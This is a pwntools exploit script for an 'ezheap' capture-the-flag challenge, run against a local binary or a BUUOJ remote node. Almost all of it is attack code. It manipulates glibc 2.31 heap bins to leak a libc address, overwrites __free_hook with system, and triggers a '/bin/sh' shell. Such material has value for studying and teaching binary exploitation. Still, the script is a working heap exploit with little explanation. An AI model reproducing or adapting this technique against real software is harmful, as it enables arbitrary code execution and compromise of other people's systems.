1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| from pwn import * lo = 1
if lo: sh = process('ezheap') gdb.attach(sh) libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.12_amd64/libc-2.31.so') else: sh = remote('node4.buuoj.cn', 25961) libc = ELF('libc-2.31.so')
def addn(idx:int, size:int, note:bytes=b'what'): sh.recvuntil(b'>>') sh.sendline(b'1') sh.recvuntil(b'idx') sh.sendline(str(idx).encode()) sh.recvuntil(b'size') sh.sendline(str(size).encode()) sh.recvuntil(b'note') sh.sendline(note)
def deln(idx:int): sh.recvuntil(b'>>') sh.sendline(b'2') sh.recvuntil(b'idx') sh.sendline(str(idx).encode())
def show(idx:int): sh.recvuntil(b'>>') sh.sendline(b'3') sh.recvuntil(b'idx') sh.sendline(str(idx).encode())
def edit(idx:int, note:bytes): sh.recvuntil(b'>>') sh.sendline(b'4') sh.recvuntil(b'idx') sh.sendline(str(idx).encode()) sh.recvuntil(b'ent') sh.sendline(note)
addn(0, 64) addn(1, 64) addn(2, 64) addn(3, 64) addn(4, 64) addn(5, 64) addn(6, 64) addn(7, 64) addn(8, 64) deln(6) deln(5) deln(4) deln(3) deln(2) deln(1) deln(0) deln(8) deln(7) """ bins now: inuse: (size 0x51) 0 ~ 8 tcache: head -> 0 -> 1 -> 2 -> 3 -> 4 -> 5 -> 6 (full) fastbin: head -> 7 -> 8 """
addn(9, 1024) """ bins now: inuse: ... tcache: head -> 1 -> 2 -> 3 -> 4 -> 5 -> 6 small bins: head <-> 7 <-> 8 <-> tail """ addn(10, 64) addn(11, 32) addn(12, 32) addn(13, 32, b'\n') edit(13, b'') show(13)
sh.recvuntil(b'(0~15): \n')
dumpArena = libc.symbols['__malloc_hook'] + (libc.symbols['__malloc_hook'] - libc.symbols['__realloc_hook']) * 2 print('main_arena in libc:', hex(dumpArena))
mainArena = u64(sh.recv(6) + b'\0\0') - 0x0a - 0x80 print('main_arena actual:', hex(mainArena)) libcBase = mainArena - dumpArena freeHook = libcBase + libc.symbols['__free_hook'] systemAddr = libcBase + libc.symbols['system']
edit(11, p64(64) + b'0'*0x10 + p64(freeHook)) edit(12, b'/bin/sh\0') edit(3, p64(systemAddr)) deln(5)
sh.interactive()
|